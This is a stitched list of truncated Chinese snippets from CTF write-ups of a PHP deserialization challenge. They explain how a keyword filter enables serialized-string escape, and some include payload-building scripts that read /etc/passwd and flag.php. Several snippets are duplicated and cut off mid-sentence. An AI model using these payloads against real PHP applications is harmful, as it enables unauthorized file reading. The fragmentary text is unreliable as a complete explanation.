}if(!$_GET['img_path']){$_SESSION['img'] =base64_encode('guest_img.png');#对ing的值进行base64加密}else{$_SESSION['img'] =sha1(base64_encode($_GET['img_path']));#对img的值进行base64加密和sha1加密}$serialize_info= filter(serialize($_SESSION));#将$_SESSION序列化并过滤if($f...
首先看修改img_path 这个方法有一个问题,修改img_path,传入的内容会被base64和sha1加密$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));,然而,高亮文件内容时只做了base64的解密,所以修改img_path是无法读到文件的,所以只能修改userinfo['img']的内容 userinfo['img']的内容由_SESSION组成,...
首先看修改img_path 这个方法有一个问题,修改img_path,传入的内容会被base64和sha1加密$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));,然而,高亮文件内容时只做了base64的解密,所以修改img_path是无法读到文件的,所以只能修改userinfo['img']的内容 userinfo['img']的内容由_SESSION组成,...
$s=serialize($str); print($s); //a:3:{s:4:"a123";s:16:"flagflagflagflag";s:1:"a";s:40:"";s:1:"c";s:2:"12";s:1:"t";s:3:"125";}as";s:1:"b";s:3:"456";} echo "\n"; $s1=preg_replace("/flag/","",$s); //a:3:{s:4:"a123";s:16:"";s:1:"a...
1.源码里,没有session_start(),phpinfo()里,session.auto_start也是off的,这样的话,在session这个问题上,每个页面顶多只能读取本身页面的$_SESSION数组。所以对于本题来讲应该只需要对这个页面做文章,不用想别的页面了。我们要搞清楚PHP中session机制的工作流程,同时我们也要明白这个题目里根本没有读取session文件,...
接下来,搓序列的时候记得对象数搞多一点绕__wakeup();题目过滤了文件中的大括号,那么就写个脚本逐字读。 自动化payload: 'O:10:"FileReader":4:{s:8:"Filename";s:8:"flag.php";s:5:"start";i:%d;s:10:"max_length";i:1;}'%(i) 1....
echoserialize([1]);a:1:{i:0;i:1;} 因为我们覆盖了一个键值对,所以我们需要补充回去,遇到}时就停止检测了,即使后面还有字符串 这里写了个脚本,使用php 脚本.php即可执行 <?php$e="/etc/passwd";# 这里填写需要读取的文件$e=base64_encode($e);echo'_SESSION[a]=phpflagflagflagflagflagflagflagflag...
二、见下图可知,当传入新的session值时,user和funciton被清掉了 由此可得session值可以控制,(比如后面要控制的 $_SESSION["img"]="payload" ) 三、由下图可得: 序列化 $_SESSION =》filter过滤函数 =》反序列化 =》base64解密文件名(例子:$username['img']="base64加密后的d0g3_f1ag.php") ...
[安洵杯 2019]easy_serialize_php 1 WP这道题目考察的主要是序列化与反序列化过程中,对象逃逸的一个漏洞。 说是对象逃逸,我觉得可能叫对象注入比较形象。首先题目上来可以看到源码<?php $function = @$_GET['f']; function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g')...
二、见下图可知,当传入新的session值时,user和funciton被清掉了 由此可得session值可以控制,(比如后面要控制的 $_SESSION["img"]="payload" ) 三、由下图可得: 序列化 $_SESSION =》filter过滤函数 =》反序列化 =》base64解密文件名(例子:$username['img']="base64加密后的d0g3_f1ag.php") ...